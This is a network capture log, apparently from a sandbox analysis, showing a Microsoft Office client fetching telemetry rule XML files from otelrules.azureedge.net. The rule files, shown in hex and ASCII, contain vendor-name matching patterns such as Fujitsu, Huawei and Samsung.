2024-11-18 22:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e177e7ad-c01e-008d-7bb3-392eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220400Z-16547b76f7fpdsp9hC1DFW8f50000000041g000000005unq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 7bc21d90-a01e-0084-2eb2-379ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220400Z-164f84587bf7jb9dhC1DFWkay40000000630000000008v0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220400Z-16547b76f7fjx5nrhC1DFW4dsc00000003pg00000000284f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220401Z-1866b5c5fbb2ngs6hC1DFW402w00000004pg00000000bv17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220401Z-r18f44ddb69pgpd4hC1DFWgac800000000dg0000000056td x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220401Z-r18f44ddb69tncq7hC1DFW3ke800000000mg000000003wm2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23cdba65-001e-0082-460d-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220401Z-164f84587bfrrmqdhC1DFWvu6s000000052g000000007d86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220401Z-16547b76f7fzwxm2hC1DFWt5hw00000003x000000000v3hm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:02 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220402Z-16547b76f7f7zzl8hC1DFWmtag000000059000000000ffz6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:02 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220402Z-16547b76f7ff9zf4hC1DFW2pfc000000040000000000d155 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:02 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220402Z-r18f44ddb69tncq7hC1DFW3ke800000000kg000000005snc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:02 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:02 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220402Z-16547b76f7fwcwmrhC1DFWtp04000000028000000000mrw3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U 